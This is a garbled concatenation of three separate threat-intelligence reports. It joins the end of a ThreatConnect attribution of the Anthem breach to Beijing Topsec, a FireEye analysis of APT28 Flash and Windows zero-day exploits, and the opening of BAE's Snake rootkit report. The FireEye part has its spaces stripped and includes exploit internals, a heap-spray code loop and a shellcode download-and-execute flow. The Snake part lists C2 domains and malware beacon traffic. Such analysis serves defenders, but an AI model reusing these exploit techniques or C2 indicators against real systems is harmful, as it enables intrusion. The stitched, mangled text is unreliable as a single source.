52] http://www.threatconnect.com/news/the-anthem-... 21 of 33 03/22/2015 10:14 PM [53] Based upon the translated registration form that we obtained from Song Yubos personal Baidu document sharing account, open registration for the TOPSEC Cup began on May 4th, 2014 and would close on May 14th, 2014.
The details of the competition that were shared on the announcement are extremely ambiguous, and probably for good reason.
The introductory paragraph mentions that the primary goal of the event is to facilitate the training and discovery of new talent, noting that exceptional participants would receive priority consideration for internships and jobs with Beijing Topsec.
The event itself was broken down into several distinct rounds of competition.
Firstly, the preliminary round required that all eligible registrants would attempt to remotely access and navigate through the network.
Should a participating team perform exceptionally in the preliminary qualifying round, they would be invited to participate in the nal round on-site in Nanjing.
http://www.threatconnect.com/news/the-anthem-... 22 of 33 03/22/2015 10:14 PM In this nal round, participants would be required to build their own information systems and network environments.
The announcement notes that the students must rely upon their own laptop and software tools to accomplish this task.
Further, the announcement notes that participants are prohibited from attacking the provided server as well as their competitors.
Section Summary: Song Yubo and his research center at Southeast University appear to be central players in this narrative, as highlighted by their nancial connections to the government of China, in particular the Ministry of State Security (MSS), Chinas premier human intelligence agency.
If the MSS was involved, we can deduce that the Anthem hack could have been for the purposes of gathering sensitive information for follow-on HUMINT targeting via blackmail, asset recruitment or technical targeting operations against individuals at home.
Songs use of the topsec email alias suggests a greater association w/ TOPSEC.
It seems as if the competition is almost certainly the cause for the topsec2014[.
]com domain.
What is very curious, however, is the initial registration by the reseller li2384826402yahoo[.
]com, which is a tactic seen within the conrmed malicious faux VAE Inc.infrastructure.
The overlap between the competition website and the static command and control infrastructure seen in the Derusbi / http://www.threatconnect.com/news/the-anthem-... 23 of 33 03/22/2015 10:14 PM Sakula implant is was likely an error made by the attackers.
Tianrongxin, a.k.a.
Beijing Topsec Technology Co: The Company To enhance our open-source capabilities, we partnered up with Dr. James Mulvenon[54] and his team of China experts at Defense Group, Inc. (DGI)[55].
We shared with them everything that we knew at the time, walking through the technical details which led us all the way to Song Yubo and the competition announcement.
From there, they were able to uncover a wealth of very consequential background information on Beijing Topsec Technology Co (Beijing Topsec), the sponsoring organization for Song Yubos information security competition.
DGIs research indicated that Beijing Topsec is one of the largest information security hardware providers in China.
In 1996, they were the rst Chinese company to break into the market with the release of Chinas rst indigenously-manufactured rewall.
Since then, they have expanded their business to include a consulting practice focused on issues such as vulnerability mining, software code analysis, threat intelligence, and encryption RD, amongst other things.
The company served as a core technical support unit for network http://www.threatconnect.com/news/the-anthem-... 24 of 33 03/22/2015 10:14 PM security at the 2008 Olympic Games  an event which was tightly controlled by the state.
Additionally, Beijing Topsec is a known partner of the Chinese military.
Since 2009, the company has possessed information publication credentials for military network procurement.
Since 2013, they have been publicly recognized as the Chinese equivalent of a cleared defense contractor.
The links between Beijing Topsec and the Chinese government are fairly substantial, highlighted by long-standing partnerships between even the most shadowy elements of the Chinese military.
The Leaked Cable A very compelling piece of evidence is found in the contents of a leaked 2009 diplomatic security cable from the Department of State, published by The Guardian.
[56]  The cable is a daily digest of Diplomatic Security alerts  essentially a situational awareness primer for State Department employees to inform them of new and existing threats.
In one section, the cable highlights that the Founder of Beijing Topsec, He Weidong, had openly talked about receiving directives from the PLA in an interview with China News Network.
In the interview, the founder quite curiously states that Topsec is less a commercial entity, but rather a research institute, and that the company received about half of its start-up capital directly from the PLA.
The cable further claims that Topsec actively recruits for the PLA cyber army.
http://www.threatconnect.com/news/the-anthem-... 25 of 33 03/22/2015 10:14 PM [57] [58] It would also appear that not only does Beijing Topsec have deep ties to state-run cyber activity, but also within the independent hacker community as well.
Of note, the company hired the notorious hacker Lin Yong, a.k.a.
Lion (of the Honker Union of China[59]) in the early 2000s as a security service engineer and to conduct network training.
Section Summary: It is not surprising that the Chinese government would be interested in partnering with a private organization such as Beijing Topsec for use as a front for state-sponsored activity.
The association between Southeast University and Beijing Topsec as manifested in the joint information security research center highlights the possibility of growing links between http://www.threatconnect.com/news/the-anthem-... 26 of 33 03/22/2015 10:14 PM state-sponsored activity and academic institutions, particularly those that receive funding from the central government.
All in all, it would seem that China is pursuing a unied approach to cyber operations, relying on all unique facets of the workforce: academia, private industry, and independent hackers, as well as the PLA to achieve their strategic goals.
Conclusion: The Anthem breach exposes the insidious reality of modern Chinese cyber espionage as it continues its unrelenting strikes at the soft underbelly of the American way of life.
Moreover, it demonstrates the imposing yet increasingly common reality of conducting threat intelligence analysis without substantial threat intelligence to start with.
Fortunately for us, we were able to deduce informed answers to some of the outstanding questions to this breach by scrutinizing our archival data troves that are efciently stored within our Threat Intelligence Platform and partner integrations.
In the eld of cyber security, industry professionals must learn to play the long game in order to generate a proactive sense of situational awareness, allowing for greater efciency and exibility in mitigating future threats.
Additionally, this incident underscores the frustrating disparity of the industry when it comes to naming conventions.
With so many threat actors and indicators oating around, it is can be frustrating to keep track of all the disparate pieces of evidence, http://www.threatconnect.com/news/the-anthem-... 27 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/author/the-square/1.
especially when countless naming conventions are applied.
Without the use of a Threat Intelligence Platform to keep track of the ood of incoming threat data, this task would be extraordinarily time consuming at best and crippling at worst.
Moving forward, it is important to bear in mind that the adversary, regardless of country of origin, shall almost certainly leverage our every weakness against us.
Even something as seemingly innocuous as confusion over names can easily consume analytical bandwidth, creating a window of opportunity to strike.
We  that is security professionals, private industry and governments alike must proactively harden our network defenses and hasten our incident responses as a united, synchronous entity.
We have shared details on Song Yubo[60] and afliated indicators within the ThreatConnect Common Community.
This share also includes the full-text DGI BLUE HERON research[61] which provides greater insight into Song Yubo, Southeast University and Beijing Topsec.
All things considered, industry must learn to adopt a cooperative defense mindset in the hopes of rebufng future attacks.
The most resolute defense we have is each other, so be like the TCIRT and start actively defending your own community from the next big breach.
Register for a free ThreatConnect account today[62] to get started sharing and analyzing your threat intelligence.
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Operation RussianDoll: Adobe  Windows Zero-Day Exploits Likely Leveraged by Russias APT28 in Highly-Targeted Attack  Threat Research  FireEye Inc fireeye.com OperationRussianDoll:AdobeWindowsZeroDayExploits LikelyLeveragedbyRussiasAPT28inHighlyTargetedAttack FireEyeLabsrecentlydetectedalimitedAPTcampaignexploitingzerodayvulnerabilitiesinAdobe FlashandabrandnewoneinMicrosoftWindows.
UsingtheDynamicThreatIntelligenceCloud(DTI), FireEyeresearchersdetectedapatternofattacksbeginningonApril13th,2015.Adobeindependently patchedthevulnerability(CVE20153043)inAPSB1506.Throughcorrelationoftechnicalindicators andcommandandcontrolinfrastructure,FireEyeassessthatAPT28isprobablyresponsibleforthis activity.
MicrosoftisawareoftheoutstandinglocalprivilegeescalationvulnerabilityinWindows(CVE2015 1701).WhilethereisnotyetapatchavailablefortheWindowsvulnerability,updatingAdobeFlashto thelatestversionwillrenderthisinthewildexploitinnocuous.
WehaveonlyseenCVE20151701in useinconjunctionwiththeAdobeFlashexploitforCVE20153043.TheMicrosoftSecurityTeamis workingonafixforCVE20151701.
ExploitOverview Thehighlevelflowoftheexploitisasfollows: 1.Userclickslinktoattackercontrolledwebsite 2.HTML/JSlauncherpageservesFlashexploit 3.FlashexploittriggersCVE20153043,executesshellcode 4.Shellcodedownloadsandrunsexecutablepayload 5.Executablepayloadexploitslocalprivilegeescalation(CVE20151701)tostealSystemtoken TheFlashexploitisservedfromunobfuscatedHTML/JS.ThelauncherpagepicksoneoftwoFlashfiles todeliverdependinguponthetargetsplatform(Windows32versus64bits).
TheFlashexploitismostlyunobfuscatedwithonlysomelightvariablenamemangling.
Theattackers reliedheavilyontheCVE20140515Metasploitmodule,whichiswelldocumented.
ItisROPless,and insteadconstructsafakevtableforaFileReferenceobjectthatismodifiedforeachcalltoaWindows API.
ThepayloadexploitsalocalprivilegeescalationvulnerabilityintheWindowskernelifitdetectsthatitis runningwithlimitedprivileges.
Itusesthevulnerabilitytoruncodefromuserspaceinthecontextofthe kernel,whichmodifiestheattackersprocesstokentohavethesameprivilegesasthatoftheSystem process.
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html https://www.evernote.com/OutboundRedirect.action?desthttps3A2F2Fwww.fireeye.com2Fresources2Fpdfs2Fapt28.pdf CVE20153043Exploit TheprimarydifferencebetweentheCVE20140515metasploitmoduleandthisexploitis,obviously,the vulnerability.
CVE20140515exploitsavulnerabilityinFlashsShaderprocessing,whereasCVE2015 3043exploitsavulnerabilityinFlashsFLVprocessing.
TheculpritFLVfileisembeddedwithinAS3in twochunks,andisreassembledatruntime.
Vulnerability AbufferoverflowvulnerabilityexistsinAdobeFlashPlayer(17.0.0.134)whenparsingmalformedFLV objects.
Attackersexploitingthevulnerabilitycancorruptmemoryandgainremotecodeexecution.
Intheexploit,theattackerembedstheFLVobjectdirectlyintheActionScriptcode,andplaysthevideo usingNetStreamclass.
Inmemory,itlookslikethefollowing: 0000000:464c5601050000000900000000120000FLV............. 0000010:f40000000000000002000a6f6e4d6574...........onMet 0000020:6144617461080000000b000864757261aData.......dura 0000030:74696f6e004047ca3d70a3d70a000577tion.
G.p.....w 0000040:69647468004074000000000000000668idth.t........h 0000050:656967687400406e000000000000000deight.n........ 0000060:766964656f6461746172617465000000videodatarate... .. 0003b20:276eee72871b47f741a00000003a1b08n.r..G.A....:.. 0003b30:00044100000f0000000068eeeeeeeeee..A.......h..... 0003b40:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee................ 0003b50:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee................ 0003b60:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee................ FilesoftheFLVfileformatcontainasequenceofTagstructures.
InFlash,theseobjectsarecreated whenparsingFLVTags: .text:1018ACE9sub_1018ACE9procnearCODEXREF:sub_1018BBAC2Bp .text:1018ACE9sub_101927971A1p... .text:1018ACE9 .text:1018ACE9arg_0dwordptr4 .text:1018ACE9 .text:1018ACE9moveax,ecx .text:1018ACEBmovecx,[esparg_0] .text:1018ACEFmovdwordptr[eax],offsetoff_10BA771C .text:1018ACF5movdwordptr[eax24h],1 .text:1018ACFCanddwordptr[eax14h],0 .text:1018AD00mov[eax28h],ecx .text:1018AD03movbyteptr[eax20h],0 .text:1018AD07retn4 .text:1018AD07sub_1018ACE9endp Inthecaseofthisexploit,aTagstructurebeginsatoffset0x3b2fintotheFLVstreamthat,whenparsed, populatestheTagstructureasfollows: Tag2: UINT_8type:8 UINT_24datasize:1089 UINT_24timestamp:15 https://www.evernote.com/OutboundRedirect.action?desthttps3A2F2Fwww.fireeye.com2Fblog2Fthreat-research.html2Fcategory2Fetc2Ftags2Ffireeye-blog-threat-research2Fthreat-research https://www.evernote.com/OutboundRedirect.action?desthttps3A2F2Fwww.fireeye.com2Fblog2Fthreat-research.html2Fcategory2Fetc2Ftags2Ffireeye-blog-authors2Fcap-fireeye-labs UINT_24timestamp:15 UINT_8timestamphi:0 UINT_24streamid:0 UINT_4fmt:6 UINT_2sr:2 UINT_1bits:0 UINT_1channels:0 UBYTEdata[1088]:\xee\xee\xee\xee UINT_32lastsize:0xeeeeeeee Beginningwithinthedatafield,allcontentsoftheFLVstreambecome0xEE.Consequently,thedata andlastsizefieldsaremangled,andonefinaltagtechnicallyexistsconsistingexclusivelyof0xEE: Tag3: UINT_8type:0xEE UINT_24datasize:0xEEEEEE  OnecanseethedatasizefieldofTag2populatedfromtheattackersFLVstreambelow: .text:10192943moveax,[ebx24h] .text:10192946mov[esi14h],eax .text:10192949movzxeax,byteptr[ebx19h]00 .text:1019294Dmovzxecx,byteptr[ebx1Ah]04 .text:10192951shleax,8 .text:10192954oreax,ecx .text:10192956movzxecx,byteptr[ebx1Bh]41 .text:1019295Ashleax,8 .text:1019295Doreax,ecx .text:1019295Fmovecx,ebx .text:10192961mov[esi0Ch],eax0x441 .text:10192964callsub_1002E2B3 Thebufferisallocatedwithfixedsize0x2000: .text:101A647Epush2000h .text:101A6483movecx,esi .text:101A6485callsub_101A6257alloc0x2000buffer,storeinesi0xDC  .text:101A627Fpush0 .text:101A6281pushedi0x2000 .text:101A6282callsub_105EBEB0 .text:101A6287popecx .text:101A6288popecx .text:101A6289mov[esi0DCh],eax Sincethesizeiscontrolledbytheattacker,itspossibletooverflowthefixedsizebufferwithcertain data.
Adatasizeof0x441resultsinavaluehereof0x1100passedtosub_100F88F8,whichmemcopies 0x2200bytesin0x11chunksof0x200.Thelastmemcpyoverflowsthefixedsize0x2000bufferintoa adjacentheapmemory.
AttackersspraytheheapwitharrayofVector,0x7fe480x2000,andcreateholesofsuchsize, whichwillbeallocatedbythesaidobject.
while(_local_2this._bp35)//_bp350x2000  this._ok47[_local_2]newVector.uint(this._lb60)//_lb600x07FE _local_30x00 while(_local_3this._lb60)  this._ok47[_local_2][_local_3]0x41414141 _local_3  _local_2(_local_20x01)  _local_20x00 while(_local_2this._bp35)  this._ok47[_local_2]null _local_2(_local_20x02)  Asthepreviouspicturedemonstrated,thefollowedVectorobjectslengthfieldbeingoverflowedas 0x80007fff,whichenablestheattackertoread/writearbitrarydatawithinuserspace.
Shellcode ShellcodeispassedtotheexploitfromHTMLinflashvars.
Theshellcodedownloadsthenextstage payload,whichisanexecutablepassedinplaintext,tothetempdirectorywithUrlDownloadToFileA, whichitthenrunswithWinExec.
PayloadC2 ThisexploitdeliversamalwarevariantthatsharescharacteristicswiththeAPT28backdoors CHOPSTICKandCORESHELLmalwarefamilies,bothdescribedinourAPT28whitepaper.
The malwareusesanRC4encryptionkeythatwaspreviouslyusedbytheCHOPSTICKbackdoor.
Andthe C2messagesincludeachecksumalgorithmthatresemblesthoseusedinCHOPSTICKbackdoor communications.
Inaddition,thenetworkbeacontrafficforthenewmalwareresemblesthoseusedby theCORESHELLbackdoor.
LikeCORESHELL,oneofthebeaconsincludesaprocesslistingfromthe victimhost.
AndlikeCORESHELL,thenewmalwareattemptstodownloadasecondstageexecutable.
OneoftheC2locationsforthenewpayload,87.236.215[.
]246,alsohostsasuspectedAPT28domain sslicloud[.
]com.
Thesamesubnet(87.236.215.0/24)alsohostsseveralknownorsuspectedAPT28 domains,asseeninTable1.
ThetargetfirmisaninternationalgovernmententityinanindustryverticalthatalignswithknownAPT28 targeting.
CVE20151701Exploit ThepayloadcontainsanexploitfortheunpatchedlocalprivilegeescalationvulnerabilityCVE2015 1701inMicrosoftWindows.
TheexploitusesCVE20151701toexecuteacallbackinuserspace.
The callbackgetstheEPROCESSstructuresofthecurrentprocessandtheSystemprocess,andcopies datafromtheSystemtokenintothetokenofthecurrentprocess.
Uponcompletion,thepayload continuesexecutioninusermodewiththeprivilegesoftheSystemprocess.
BecauseCVE20153043isalreadypatched,thisremoteexploitwillnotsucceedonafullypatched system.
IfanattackerwantedtoexploitCVE20151701,theywouldfirsthavetobeexecutingcodeon thevictimsmachine.
Barringauthorizedaccesstothevictimsmachine,theattackerwouldhavetofind someothermeans,suchascraftinganewFlashexploit,todeliveraCVE20151701payload.
MicrosoftisawareofCVE20151701andisworkingonafix.
CVE20151701doesnotaffectWindows 8andlater.
Acknowledgements Thankyoutoallofthecontributorstothisblog ThefollowingpeopleinFireEye:DanCaselden,YasirKhalid,JamesTomBennett,GenWeiJiang, CorbinSouffrant,JoshuaHoman,JonathanWrolstad,ChrisPhillips,DarienKindlund MicrosoftAdobesecurityteams
1101010 11010110 11010101001 0010101001 0101001001 01010101011 01010010101 001010010110 1011011010111 00110100100110 0101001011010101 011011010111010101 0101001001001101011 1001011010110010101 10110101111001011 0100100010101010 010110101010110 1101001010110 1010010110101 10010110101010 011011001011 11                    0110100101011 1010100110101010101011101010101001 110101010110101010110101010101001 10101010001110101101001110100101 01010101101110101010101010101001 1010101010110101011010010100101 010101010100101010011010010101 01011101011100100101101001010 11101101010101010101101001010 0101010100110010101101001010 110101010011001011101001010 110111010110100101101001010 01101101010101011101001010 01010101001010011101001010 1101010100101001101001010 010111010110101101001010 111011010100101101001010 0101010100101110001010 0101010100101011001010 010111010110111001010 11101101010110101010 1101010100101001010 0101010100101001010 010111010111001010 11101100111001010 0101010101001010 0101010101001010 110111001001010 01010101001010 1001011001010 1001110001010 100110101010 1011011010 1001010 1101 SNAKE CAMPAIGN CYBER ESPIONAGE TOOLKIT .tex t:00 0496 29 .tex t:00 0496 2A .tex t:00 0496 2D .tex t:00 0496 2E m ov .tex t:00 0496 31 p ush e dx .tex t:00 0496 32 c all d ecry pt_t raffi c .tex t:00 0496 37 t est e ax, eax .tex t:00 0496 39 j z s hort exi t .tex t:00 0496 3B m ov e ax, [ebp dwR esul t] .tex t:00 0496 3E c mp e ax, _DEA DBEA F ... .tex t:00 0147 B8 a Base name dobj ect: .tex t:00 0147 B8 u nico de 0 , \ Base Name dObj ects \B9 3DFE D5-9 A3B- 459b -A61 7-59 FD9F AD69 3E ,0 .tex t:00 0148 2C a IdSn ake_ confi g db I d: s nake _con fig.c 520 4 20 07-0 1-04 10: 28:1 9Z v lad ,0 ... .tex t:00 0381 A0 d ecry pt_D LL p roc near .tex t:00 0381 A0 p ush e bp .tex t:00 0381 A1 m ov e bp, esp .tex t:00 0381 A3 c mp fl ag, 0 .tex t:00 0381 AA j nz s hort exi t .tex t:00 0381 AC p ush o ffse t ab yBuf fer .tex t:00 0381 B1 p ush o ffse t En cryp ted_ DLL .tex t:00 0381 B6 c all d ecry pt_X OR_A A 2BAE Systems Applied Intelligence: Snake Rootkit Report 2014 EXECUTIVE SUMMARY 3BAE Systems Applied Intelligence: Snake Rootkit Report 2014 OVERVIEW One of the questions which comes up in the months after big security whitepaper disclosures is: where are they now?
In other words, what happened to the operators, tools, and infrastructure which was revealed in the reports, blog-posts, and press interviews.
Did they continue on as before, did they re-build the disclosed infrastructure and tools, did they go away and get jobs in another line of work?
In some cases, the disclosure had little, if any impact on the operation.
For example, after the McAfee ShadyRAT report in 2011, there was absolutely no change in the attacks from the group behind this.
However, when Mandiant released their APT1 report in 2013, there was a noticeable reduction in activity from the group  and much of the tools and infrastructure has not been seen since.
In the September 2010 issue of Foreign Affairs magazine1, former US Deputy Secretary of Defense William J. Lynn discussed a cyber-attack which happened two years previously on the DoDs classified computer networks.
Lynn described how a foreign intelligence agency planted malicious code on the networks with the aim of transferring data to servers under their control.
The article included the now oft-quoted phrase digital beachhead to describe what was undoubtedly a significant compromise of US military systems.
Further reports in the press2 kept the story alive in 2011, but since then this threat has received remarkably little attention.
However, the operation behind the attacks has continued with little modification to the tools and techniques, in spite of the widespread attention a few years ago.
They use highly sophisticated malware tools to maintain persistent access to their targets.
These tools can be used for covert communications in a number of different modes, some of which present significant challenges for traditional security technologies to detect.
There are some threats which come and go, whilst there are others which are permanent features of the landscape.
In this paper, we describe the tools and techniques of one of the most sophisticated and persistent threats we track.
We hope this will help victims identify intrusions and understand their need to improve defences.
Cyber security is a collaborative effort  the operation described in this paper again raises the bar for the security community in their efforts to keep up with the attackers in cyber-space 1 http://www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain 2 http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 http://www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 4BAE Systems Applied Intelligence: Snake Rootkit Report 2014 TECHNICAL DESCRIPTION 5BAE Systems Applied Intelligence: Snake Rootkit Report 2014 BACKGROUND When antivirus back-end classification platforms cannot identify a malware family for an analysed malicious sample, they assign generic names, such as Trojan Horse or Agent.
The variant letters are also assigned automatically, by using hexavigesimal (or Base26) notation.
That is, the variant letters are auto-assigned starting from A, followed with B, and so on until Z.
Next comes AA, AB and so on, until ZZ.
After that, the variant letters start from AAA, AAB and so on, until ZZZ.
Back in 2008 an unknown malicious file was discovered and auto-classified as Agent.
BTZ, meaning it was registered as unknown malicious sample 1,898 in an anti-virus classification system.
It wasnt given an actual name, only a generic one.
Meanwhile, internally the authors behind this malware were using their own naming systems - with specific titles for their file components and projects such as snake, uroburos, sengoku, and snark used to denote variants of their framework.
A recent report from German security company GData3 described a sample from the uroburos variant of this framework.
Their report revealed the complex nature of this malware family, and showed that the operation behind Agent.
BTZ has continued.
As a result of this disclosure, we are also releasing our own technical analysis of the threat, including a timeline of known samples, known Command-and-Control (CC) servers, and other indicators to aid investigators in discovering attacks.
Reverse engineering of recent malware samples shows these to be much more advanced variants of Agent.
BTZ, though still sharing many similarities and encryption methods with the original.
Further investigation allowed us to locate related samples compiled between 2006 and 2014, and spanning across several distinctive generations.
The first section of this report gives an overview of the samples collected, where they were reported and the timelines derived from their analysis.
Snakes architecture turned out to be quite interesting.
We have identified two distinct variants, both highly flexible but with two different techniques for establishing and maintaining a presence on the target system.
In general, its operation relies on kernel mode drivers, making it a rootkit.
It is designed to covertly install a backdoor on a compromised system, hide the presence of its components, provide a communication mechanism with its CC servers, and enable an effective data exfiltration mechanism.
At the same time, Snake exposed a flexibility to conduct its operations by engaging these noticeably different architectures.
In the first model, the network communications are carried out from the userland - i.e.
the area of the computer system where application software executes.
In another model, the network communications are handled by a kernel mode driver - i.e.
the area where lower level system code such as device drivers run.
The choice of what architecture should be used may depend on a specific targets environment, allowing the Snake operators to choose the most suitable architecture to be deployed.
In both architectures there is a kernel mode driver installed and a usermode DLL injected by the driver into the system processes.
In both architectures, there is both 32-bit and 64-bit code involved.
In order to distinguish between these architectures, we will call them the usermode-centric and the kernel-centric architectures respectively.
The remainder of this report gives a detailed explanation of how the two Snake architectures embed themselves in the target system and communicate with the outside world.
We have also provided a set of technical indicators in the Appendix to enable organisations and the security research community to identify compromises.
3 https://www.gdata.de/rdk/dl-en-rp-Uroburos 6BAE Systems Applied Intelligence: Snake Rootkit Report 2014 SNAKE SAMPLES In total we have collected over 100 unique files related to this espionage toolkit.
Many of these were submitted to online malware analysis websites by victims and investigators over several years.
In many cases the source country information of the submission is available.
These allow us to visualise the distribution of countries where this malware has been seen: Whilst this view is likely to only be the tip of the iceberg, it does give us an initial insight into the profile of targets for the Snake operations.
Samples Submission Year Source country 2010 2011 2012 2013 2014 Total Ukraine 1 3 6 8 14 32 Lithuania 9 2 11 Great Britain 4 4 Belgium 2 2 Georgia 2 2 United States 1 1 2 Romania 1 1 Hungary 1 1 Italy 1 1 Total 1 4 7 24 20 56 Samples by compile month Year 01 02 03 04 05 06 07 08 09 10 11 12 Total 2006 1 3 4 2007 1 1 1 3 2008 2 1 2 1 2 8 2009 1 1 1 3 2 2 10 2010 1 1 1 1 1 2 7 2011 1 4 1 3 1 3 13 2012 2 1 1 1 2 7 14 2013 1 13 5 2 5 4 3 2 1 2 1 39 2014 2 2 Total 8 15 9 4 9 13 6 2 1 11 10 12 100 Plotting the day of the week in which the samples were compiled shows a now familiar pattern for analysts of modern cyber-attacks.
The creators of the malware operate a working week, just like any other professional.
The single sample in our set which was compiled on a Saturday is an outlier, but doesnt alter the conclusion.
Similarly, plotting the hour of the day in which the samples were compiled reveals another human pattern  the working day.
This has been adjusted to UTC4 to show a possible fit to the operators local time.
Other useful visualisations of the operations come from the compile timestamps.
Below is shown a table with a count of the number of files in our sample set from recent years.
Two samples compiled in late January 2014 show that this activity is ongoing.
Samples compiled per day of the week 0 5 10 15 20 25 30 Mon Tue Wed Thu Fri Sat Sun Samples compiled by hour of the day (adjusted to UTC4) 7BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The usermode-centric architecture of Snake is known to have been used from 2011 till 2014, with the most recent sample compiled on January 28, 2014.
With this architecture, the Snake driver is mainly used to load the DLL module into the usermode processes, and then use that module for the communications.
One of the analysed samples exposed multiple debug messages and source control check-in logs.
It is not clear why those messages were allowed in the deployed driver - possibly an operational security lapse.
However, they give some insight into the internal structure of the source code.
For example, the analysed driver gave away the following source file names: d:\proj\cn\fa64\common\loadlib\common/loadlib_helpers.c d:\proj\cn\fa64\common\loadlib\win/loadlib.c d:\proj\cn\fa64\uroboros\rk_common\libhook\common/libunhook.c d:\proj\cn\fa64\uroboros\rk_common\libhook\ntsystem/libhook.c d:\proj\cn\fa64\uroboros\rk_common\libhook\common/hook_helpers.c d:\proj\cn\fa64\uroboros\rk_common\libhook\common/libhook.c d:\proj\cn\fa64\uroboros\rk_common\libhook\common/idthook.c .\rk_ntsystem.c ..\common\helpers\interface_s.c ..\k2\fa_registry.c ..\k2\syshook.c The source control check-in log examples, showing the names of the developers to be vlad and gilg: Id: snake_config.c 5204 2007-01-04 10:28:19Z vlad Id: mime64.c 12892 2010-06-24 14:31:59Z vlad Id: event.c 14097 2010-11-01 14:46:27Z gilg Id: named_mutex.c 15594 2011-03-18 08:04:09Z gilg Id: nt.c 20719 2012-12-05 12:31:20Z gilg Id: ntsystem.c 19662 2012-07-09 13:17:17Z gilg Id: rw_lock.c 14516 2010-11-29 12:27:33Z gilg Id: rk_bpf.c 14518 2010-11-29 12:28:30Z gilg Id: t_status.c 14478 2010-11-27 12:41:22Z gilg It also exposed the project name of this particular variant as sengoku: d:\proj\cn\fa64\sengoku\_bin\sengoku\win32_debug\sengoku_Win32.pdb Now its time to execute the driver and see what it does.
USERMODE-CENTRIC ARCHITECTURE 8BAE Systems Applied Intelligence: Snake Rootkit Report 2014 When first executed, the driver creates device named \Device\vstor32 with a symbolic link \DosDevices\vstor32.
This device is used for userland/kernel communications.
Next, it drops a DLL into the windows directory - the DLL is carried in the body of the driver as a binary chunk with XOR 0xAA applied on top of it, so the driver decrypts it first.
Depending on the variant, the DLL is dropped either under a random name or a hard-coded name, such as mscpx32n.dll.
The purpose of this DLL is to be injected into the user-mode processes.
Some variants of Snake carry the DLL modules that can be installed as a service, to be run within taskhost.exe or services.exe processes.
Next, the driver sets up the hooks for the following kernel-mode APIs: ZwCreateThread ZwCreateUserProcess ZwShutdownSystem After that, it calls PsSetCreateProcessNotifyRoutine() in order to be notified whenever a new process is started.
The handlers of the hooks above along with the notification callback allow Snake to stay persistent on a system, being able to infect any newly created processes, and restore its driver file in case it gets deleted.
Another set of hooks it sets is designed to hide the presence of the Snake components on the system: ZwQuerySystemInformation ZwQueryInformationProcess ZwClose ZwTerminateProcess The driver then watches for all userland processes to see if they load any web pages.
As long as the user is not using the Internet, Snake stays dormant too, as there is no process that communicates with the web servers.
However, as soon as the user goes online, the driver intercepts that event and then immediately injects the malicious DLL module into the process that initiated connection (the browser).
Once injected, the module initiates polling from one of the hard-coded CC servers.
The purpose of this behaviour is to blend Snakes traffic with the browser traffic, bypassing the firewalls, and keeping a low profile at the same time.
By communicating from within a process that also communicates, even a technically savvy user will find it challenging to detect Snake traffic among legitimate traffic.
The reason behind such difficulty is because modern web pages often fetch pages from the different web servers, including such data as additional scripts, CSS templates, advertising contents, analytics data, blogs, social networking data, etc.
When intercepted with the purpose of analysis, such traffic may literally represent itself hundreds of DNS and HTTP requests made when a popular website, such as a news website is open.
Hiding a few DNS/HTTP requests among busy network traffic allows Snake rootkit to stay unnoticed.
In order to test Snakes communications with the CC servers, and still being able to clearly distinguish its traffic, a small tool was built to generate GET request to a web server running on the analysed system.
The tool was named as chrome.exe in order to trigger the malware communications.
ROOTKIT EXECUTION 9BAE Systems Applied Intelligence: Snake Rootkit Report 2014     The domain names of the CC servers it relies on are hard-coded in the body of the malware.
Some examples are given below, and a full list of known domains is given in the Appendix D: north-area.bbsindex.com winter.site11.com swim.onlinewebshop.net july.mypressonline.com toolsthem.xp3.biz softprog.freeoda.com euassociate.6te.net As seen in the traffic dump above, the malware first resolves the domain name of its CC.
Next, it fetches a file /D/pub.txt, and expects the server to respond with a string 1, acknowledging its active: 03:52:06 1336: Connect swim.onlinewebshop.net  type(0)... OK 03:52:06 1336: GET /D/pub.txt 03:52:07 1336: Http status: 200 03:52:07 1336: recv 1/1 03:52:07 DownLoad 1 command(s) Once acknowledged, it asks the server for a command, and the server returns a new command to execute: 03:52:11 1404: Connect swim.onlinewebshop.net  type(0)... OK 03:52:11 1404: GET /D/77568289 03:52:12 1404: Http status: 200 03:52:12 1404: Command for all 03:52:12 1404: recv 346/346 03:52:12 Command Id:303149772662877808(130201837456870000)[13:42:25 05/08/2013] COMMAND-AND-CONTROL COMMUNICATIONS As long as the test tool named chrome.exe did not make any requests, its memory stayed pristine.
There were no injections made by the driver.
As soon as the tool made its first GET requests, the driver immediately injected a malicious DLL module in it, and that module started producing the following traffic: Received command No.
Time                             Source                                   Destination                           Protocol  Length Info 38 44.290689000 192.168.202.131  192.168.202.2   DNS   77 Standard query 0x6ad3 A winter.site11.com 41 44.292830000 192.168.202.2    192.168.202.131 DNS   93 Standard query response 0x6ad3 A 31.170.161.136 45 44.518185000 192.168.202.131  31.170.161.136  HTTP 219 GET /D/pub.txt HTTP/1.1 47 44.743999000 31.170.161.136   192.168.202.131 HTTP 474 HTTP/1.1 302 Found (text/html) 84 45.990199000 192.168.202.131  31.170.161.136  HTTP 233 GET /D/1/f42cce984070b8ab1c0 HTTP/1.1 86 46.216079000 31.170.161.136   192.168.202.131 HTTP 474 HTTP/1.1 302 Found (text/html) 94 46.525887000 192.168.202.131  31.170.164.249  HTTP 217 GET /?
